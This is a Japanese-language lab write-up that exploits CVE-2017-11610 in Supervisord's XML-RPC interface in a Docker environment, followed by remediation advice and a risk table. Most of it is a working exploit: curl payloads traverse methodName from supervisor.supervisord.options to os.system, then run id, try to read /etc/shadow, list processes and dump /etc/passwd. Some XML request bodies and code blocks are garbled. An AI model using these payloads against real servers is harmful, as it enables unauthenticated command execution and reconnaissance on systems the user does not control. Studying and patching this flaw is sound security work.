
CVE-2017-11610(Supervisord XML-RPC RCE)のステップバイステップのエクスプロイト解説(攻撃対象領域の分析、名前空間トラバーサルの発見、Dockerラボ環境でのポストエクスプロイト技術を含む)
環境で実行されているものから始めます。すべてのアクティブなコンテナをリストします。``` docker ps-a

**被害者は単一のポート `9001` を公開している**。
ポート9001は標準的なWebアプリケーションではありません。**ポートデータベース**を調べると、このポートは**Supervisord**(IANAによるとETL Service Manager)、Torプロキシ、またはその他の内部サービスに関連付けられている可能性があります。しかし、ポート番号だけでは結論を導き出すことはできません。
⇒ curlを直接実行してレスポンスを読み取り、さらにWeb GUIにアクセスして詳細情報を収集します。```
curl -i http://192.168.3.137:9001/


応答分析:
Server: Medusa/1.12 とタイトル Supervisor Status が表示されていた→ これは Tor や他のサービスではなく、Supervisord であることが確認された。
REFRESH、RESTART ALL、STOP ALLSupervisord は Linux 上のプロセスマネージャです。ポート9001 がパスワードなしでネットワークに公開されている場合、これは危険な設定です。攻撃者は サービスを閲覧したり、プロセスの再起動・停止を行ったり、特定の設定下では管理対象プログラムを変更・制御する権限があれば コマンド実行を悪用する 可能性があります。
分析結論: ターゲットは Supervisord 管理インターフェースをポート 9001 でネットワークに公開していることが確認できました。これは標準的な Web サービスではなく、プロセスを監視・制御するための管理インターフェース です。このインターフェースに 認証なしでアクセスできる ことは、攻撃者が管理サービスの状態を表示したり操作できるリスクを生み出します。
ただし、表示される UI と実際の制御メカニズムは区別する必要があります。REFRESH、RESTART ALL、STOP ALL といったボタンはフロントエンドで独立してリクエストを処理するのではなく、Supervisord の インターフェース/バックエンドを呼び出して ステータスを取得したりプロセス制御コマンドを送信する必要があります。そのため、Web UI が公開されていることを確認した後、次の分析ステップは Web UI の背後に制御インターフェースが存在するかどうか、そして認証が必要かどうかを判断することです。
⇒ 考え方: Web UI の背後にある制御インターフェースが存在するか、また認証が必要かどうかを確認する必要がある。

Supervisor のドキュメント によると、[inet_http_server] は TCP ソケットで待ち受ける HTTP サーバです。このインターフェースはデフォルトでは有効ではなく、信頼できる環境でのみ使用すべきであり、暗号化をサポートせず、username/password が設定されていない限りデフォルトの認証はありません。
ドキュメント はまた、[inet_http_server] のポートが HTTP/XML-RPC リクエストを受信 するために使用されることを示しており、supervisorctl はこのポートを介して XML-RPC を使用して supervisord と通信します。これはラボでの観察結果と一致します。コンテナは 0.0.0.0:9001->9001/tcp を公開しており、Web UI は認証なしでアクセス可能で、表示されるバージョンは Supervisor 3.3.2 です。
したがって、ポート 9001 の Web UI を確認した後、次のステップは XML-RPC エンドポイント /RPC2 を調査することです。Supervisord の公式メカニズムに基づき、以下の目標を検証する必要があります:
/RPC2 が存在するかどうか。supervisor.getState や system.listMethods のような非破壊的なメソッドを呼び出せるかどうか。エンドポイントが生きているかどうかを確認する:```
curl -i -s -X POST -H "Content-Type: text/xml"
-d 'supervisor.getState'
http://192.168.3.137:9001/RPC2

結果は `HTTP/1.1 200 OK` を返し、`401 Unauthorized` や `403 Forbidden` ではないため、リクエストが認証情報なしでサーバーに受け入れられたことを示しています。レスポンスは XML-RPC の `<methodResponse>` 形式で、`statename=RUNNING` と `statecode=1` を含んでおり、`/RPC2` エンドポイントがアクティブで `supervisor.getState` メソッドが正常に実行されたことを証明しています。
**⇒ 考察:** 攻撃対象領域は Web UI に限定されなくなり、デーモン/プロセス制御コマンドが処理される XML-RPC API に拡大しています。ここから、次の分析の方向性は、**Supervisor が XML-RPC で `methodName`** をどのように処理するかを確認し、現在のターゲットがこのメソッドのディスパッチ/ルックアップ機構にある **CVE-2017-11610** の動作を示しているかどうかを判断することです。これが **CVE-2017-11610** であると結論付けるために検証が必要です。
### **XML-RPC におけるメソッド名処理の分析**
前の手順で、`/RPC2` エンドポイントを介して `supervisor.getState` メソッドを正常に呼び出しました。これにより次の疑問が生じます: 文字列ベースの `methodName` を受信したとき、Supervisord はその文字列を内部の Python 関数にどのようにマッピングするのでしょうか?
XML-RPC では、メソッドは通常名前空間を利用します。例えば:
- `supervisor.getState`
- `supervisor.stopProcess`
- `supervisor.getAllProcessInfo`
論理的には、サーバーは `methodName` 文字列を受信し、ドット `.` で分割し、登録されたハンドラ内で対応するオブジェクト/関数を検索します。
擬似コードは以下のように理解できます。```python
# Pseudo-code simulating the dispatch method concept in XML-RPC
def dispatch(method_name, params):
parts = method_name.split(".") # ["supervisor", "getState"]
obj = registered_handlers[parts[0]] # get namespace "supervisor"
for attr in parts[1:]:
obj = getattr(obj, attr) # lookup the next attribute
return obj(*params) # call the final function
For standard methods like supervisor.getState, this mechanism functions normally: the server retrieves the supervisor handler, then calls the getState function. However, the core issue of CVE-2017-11610 is that this lookup mechanism does not sufficiently restrict the attributes allowed to be accessed. If an attacker controls the methodName, they can not only call public methods like getState, but also traverse deeper into the internal objects/modules reachable from the supervisor handler.
In other words, the dot . in methodName is not just used to invoke valid methods, but can be abused to traverse object attributes.
This establishes our exploitation path:
supervisor → supervisord → options → warnings → linecache → os → system
The concept is to start from the supervisor handler, follow attributes to the daemon's internal objects, and then leverage pre-imported Python modules to reach os.system. If os.system can be called, the attacker can execute system commands with the privileges of the supervisord process.
Thus, the attack chain follows this logic:
/RPC2 accepts unauthenticated method calls → inspect how XML-RPC dispatches methodName → discover methodName can traverse object attributes → leads to calling os.system.
First, I need to check whether the server actually allows traversing internal attributes. I will attempt to call a method name that is longer than usual. If the server returns a "method not found" error, a filter is active; if it returns a different error (or succeeds), the traversal is working.
Thinking: I already know supervisor.getState works. If I try supervisor.supervisord—which goes one layer deeper—and the server does not return an unknown method error, it means it is indeed using recursive getattr without a whitelist.
We know XML-RPC is a remote procedure call protocol over HTTP, with data encoded in XML. Each request consists of only 3 fixed components:```
FUNCTION_NAME VALUE ``` シンプルな構造 — `` と `` を置き換えるだけです。関数がパラメータを必要としない場合は、`` を空のままにします。関数が文字列を必要とする場合は、`...` で囲みます。これは秘密の知識ではありません — XML-RPC RFCを読めば詳細がわかります。⇒ アプリケーション: 通常より長い methodName を呼び出して、名前空間のトラバーサルを確認してみてください:```
curl -s -X POST -H "Content-Type: text/xml"
-d 'supervisor.supervisord.options'
http://192.168.3.137:9001/RPC2

結果は、標準の `unknown method` エラーの代わりに `HTTP 500 Internal Server Error` を返します。これは、サーバーが有効な名前空間レベルで `methodName` をブロックせず、代わりにディスパッチ中に `supervisor.supervisord.options` チェーンの処理を続行したことを示しています。言い換えると、リクエストは属性ルックアップメカニズムの深くまでトラバースし、解決されたオブジェクトがメソッドとして呼び出し可能ではなかった後にエラーが発生しました。これは、`methodName` を介した名前空間トラバーサルがアクティブであることを明確に示しています。
### **コマンド実行関数へのパスを見つける**
トラバーサルは機能しています。次のステップは、**システムコマンドを実行できる呼び出し可能な関数で終わる属性チェーンを見つけることです。** Pythonでは、確認する最も簡単なターゲットは `os.system()` です。ただし、**ターゲットにシェルがなく**、**コンテナ内のソース/ランタイムオブジェクトを直接読み取ることはできません。** そのため、**Pythonのインポートメカニズムから推論し**、**まずローカルで依存関係を確認する** 必要があります。
調査するチェーンは次のとおりです。
`supervisor` → `supervisord` → `options` → `warnings` → `linecache` → `os` → `system`
- SupervisordはPythonで書かれているため、`options` のような内部オブジェクトは属性を持つPythonオブジェクトです。
- モジュールが `import X` を介して別のモジュールをインポートする場合、`X` はそのモジュールの名前空間内に存在します。
- Pythonの標準ライブラリでは、`warnings` モジュールが警告表示時にコンテキストを取得するために `linecache` をインポートします。
- `linecache` モジュールはパス/ファイル操作のために `os` をインポートします。
- `os` モジュールはシェルコマンドを実行できる呼び出し可能な関数 `system()` を提供します。
ターゲットで試行する前に、この依存関係をローカルで確認してください。```bash
python3 -c "import warnings; print('linecache' in dir(warnings))"
# True
python3 -c "import linecache; print('os' in dir(linecache))"
# True
python3 -c "import os; print(callable(os.system))"
# True
⇒ 考察: warnings → linecache → os という依存関係はCPythonの標準ライブラリ内で実際に存在する依存関係であり、system は実際に os モジュールの呼び出し可能関数です。XML-RPCの名前空間トラバーサルの欠陥と組み合わせることで、もし supervisor ハンドラから supervisord.options.warnings に到達できるならば、さらに linecache.os.system へとトラバースしてシステムコマンドを呼び出すことができます。
os.system へのトラバースチェーンを特定した後、次のステップはこの関数を呼び出すXML-RPCリクエストを構築することです。Pythonでは、os.system() は実行するシェルコマンドを表す1つの文字列パラメータを受け取り、コマンドの終了コードを返します。この関数は XML-RPC レスポンスに直接stdoutを返さないため、コマンドが実行されたことを証明するには、出力をファイルにリダイレクトする必要があります。
⇒ 考察: レスポンスに直接出力がないため、結果を /tmp に書き込みます。Linuxでは通常 /tmp ディレクトリは全ユーザーが書き込み可能です。安全な検証ペイロードは次のとおりです。
id > /tmp/rce_proof.txt
上記で分析したXML-RPCテンプレートを適用し、<methodName> を os.system へのトラバースチェーンに置き換え、シェルコマンドを <string> 内に渡します。```bash
curl -s -X POST -H "Content-Type: text/xml" -d 'supervisor.supervisord.options.warnings.linecache.os.systemid > /tmp/rce_proof.txt' http://192.168.3.137:9001/RPC2

値 `<int>0</int>` は `os.system()` の終了コードであり、コマンドの標準出力ではありません。終了コード `0` はシェルコマンドが正常に実行されたことを示します。コンテナ内のファイルを読み込むことで確認します。```
docker exec project1-lab03-1 cat /tmp/rce_proof.txt

⇒ RCE確認. idコマンドがコンテナ内でnobodyユーザー(uid=65534)の権限で実行されました。
Key point: RCEが実現されますが、実行権限はsupervisordプロセスを実行しているユーザーに依存します。このラボでは、コマンドはnobodyユーザーで実行されるため、supervisordがrootで実行されている場合よりも影響が制限されます。
RCEを確認した後、nobodyはLinux上で低権限ユーザーであることがわかります。ただし、idの出力だけに頼るのではなく、実際に検証する必要があります。検証方法は、/etc/shadowを読み取ろうとすることです。このファイルは通常、rootとshadowグループのみが読み取り可能です。読み取れれば、プロセスは高い権限を持っています。拒否されれば、権限は本当に制限されています。
ペイロードを送信して/etc/shadowを読み取り、stdoutとstderrの両方をファイルにリダイレクトします:```bash
curl -s -X POST -H "Content-Type: text/xml" -d 'supervisor.supervisord.options.warnings.linecache.os.systemcat /etc/shadow > /tmp/shadow_test.txt 2>&1' http://192.168.3.137:9001/RPC2

レスポンスは `<int>256</int>` を返します。これは `os.system()` の戻り値です。Unixでは、終了ステータスはエンコードされます。`256` はシェルコマンドの終了コード `1` に対応します。これは、コマンドが実行されたが失敗したことを示します。
コンテナ内の出力ファイルを読み取り、`/etc/shadow` のパーミッションを確認することで、失敗の原因を確認します:```
docker exec project1-lab03-1 cat /tmp/shadow_test.txt
docker exec project1-lab03-1 ls -l /etc/shadow

結果は、出力ファイルに次のエラーが記録されたことを示しています。
cat: /etc/shadow: Permission denied
/etc/shadow のパーミッションは次のとおりです。
rw-r----- 1 root shadow 501 Apr 14 2020 /etc/shadowファイル /etc/shadow は root が所有し、グループ shadow に属しており、所有者とグループのみが読み取り可能です。一方、先ほどのRCEにより、コマンドが nobody ユーザーで実行されていることが確認されました。このユーザーは shadow グループに所属していないため、このファイルを読み取ることができません。
⇒ 結論: RCEは達成されましたが、特権は実際に nobody ユーザーに制限されています。これは、サービスが root で実行されている場合との重要な違いです。攻撃者はコマンドを実行できますが、自動的にシステム全体の制御を獲得するわけではありません。
/etc/shadow を読み取ることはできませんが、RCEにより nobody 権限でコマンドを実行することは可能です。したがって、このユーザーが読み取りを許可されている情報、例えば 実行中のプロセス一覧 や システム上のユーザー情報 などを引き続き収集できます。
curl -s -X POST -H "Content-Type: text/xml" -d 'supervisor.supervisord.options.warnings.linecache.os.systemps aux > /tmp/ps_output.txt 2>&1' http://192.168.3.137:9001/RPC2
```
docker exec project1-lab03-1 cat /tmp/ps_output.txt

コンテナ内のPID 1はrootユーザーで実行されていますが、supervisordプロセスはnobodyユーザーで実行されています。これにより、RCEが成功したものの、rootに制限されたファイルを読み取る権限がなかった理由が説明されます。
結果: ps aux は、コンテナ内のPID 1が root ユーザーで実行されている /bin/bash /usr/local/bin/docker-entrypoint.sh である一方、supervisord プロセスは nobody ユーザーで実行されていることを示しています。
これにより、RCEが成功したものの、root専用ファイルを読み取る権限がなかった理由が説明されます。コマンドはPID 1ではなく、supervisord プロセスの権限で実行されるためです。
curl -s -X POST -H "Content-Type: text/xml" -d 'supervisor.supervisord.options.warnings.linecache.os.systemcat /etc/passwd > /tmp/passwd_dump.txt 2>&1' http://192.168.3.137:9001/RPC2
```
docker exec project1-lab03-1 cat /tmp/passwd_dump.txt

結果: /etc/passwd はシステムに root、daemon、nobody、_apt などのデフォルトユーザーが主に存在することを示しており、追加のサービスユーザーは検出されませんでした。これはコンテナ環境が最小限であり、現時点で悪用や横移動に利用できる他のアプリケーションアカウントがないことを示しています。
このラボではリバースシェルを確立できませんでした。しかし、Docker ブリッジネットワークが常にリバースシェルをブロックするとは単純に結論づけるべきではありません。Docker コンテナは通常 NAT を介して発信機能を保持しているためです。原因はルーティング、ファイアウォール、リスナー、インターフェース、またはラボ環境のネットワーク構成に起因する可能性があります。
重要な点は、リバースシェルの失敗が主な結論を変えるものではないということです。id ペイロードを使用して RCE が確認され、応答の終了コードは 0、/tmp 内に出力ファイルが作成されています。攻撃者はコンテナ内で nobody ユーザーの権限で任意のコマンドを実行できます。
緊急優先度
Supervisord を修正バージョンにアップグレードする
Supervisor をバージョン >= 3.3.3 にアップグレードしてください。修正バージョンは XML-RPC における再帰的な名前空間検索メカニズムを完全に排除します。これは CVE-2017-11610 の根本原因でした。
[inet_http_server] をネットワークに公開しない(必要な場合を除く)
Web UI やリモート管理が不要な場合は、[inet_http_server] を完全に無効にしてください。これは管理インターフェースであり、ネットワーク全体に広くアクセス可能にすべきではありません。
バインドアドレスを制限する
それでも Web UI を有効にする必要がある場合は、0.0.0.0 ではなく localhost にのみバインドしてください:
[inet_http_server]
port=127.0.0.1:9001
高優先度
[inet_http_server] の認証を有効にする
リモート管理のためにこのインターフェースを公開する必要がある場合は、強力なユーザー名/パスワードを設定してください:
[inet_http_server] port=127.0.0.1:9001 username=admin password=<strong_password>
ネットワークにバインドする必要がある場合は、パスワードだけに依存せず、VPN/リバースプロキシの背後に配置するか、IP によるアクセス制限を行ってください。
ファイアウォールを使用してアクセスを制限する
管理 IP のみがポート 9001 にアクセスできるように、たとえばファイアウォール/セキュリティグループを介して制限してください。このポートをパブリックインターネットや内部ネットワーク全体に公開しないでください。
低権限ユーザーで supervisord を実行する
このラボでは nobody ユーザーで実行されており、影響を限定しています。実際の環境では、特に必要な場合を除き、supervisord を root として実行しないでください。
| 評価基準 | 評価 | 詳細 |
|---|
| CVSSスコア | 9.8(重大) | CVE/NVD によると、この脆弱性は Supervisor <= 3.3.2 における認証なしの RCE です。 |
| 認証 | 不要 | エンドポイント /RPC2 はユーザー名/パスワードを必要とせずに XML-RPC リクエストを処理します。 |
| 複雑さ | 低 | 手動の XML-RPC リクエストで悪用可能であり、Metasploit は不要です。 |
| 取得権限 | nobody | RCE は supervisord プロセスの権限で実行されます。このラボでは nobody ユーザーに制限されています。 |
| 影響 | 高 | コマンドの実行、/tmp などの書き込み可能ディレクトリへのファイル書き込み、システム情報の収集が可能です。 |
| 制限 | root 専用ファイルの読み取り不可 | /etc/shadow は Permission Denied を返し、権限が root ではないことを証明しています。 |
| 内部ネットワークの横移動 | 可能 | ネットワークポリシーで許可されていれば、nobody ユーザーでも他のサービス/コンテナへの接続を試みることができます。 |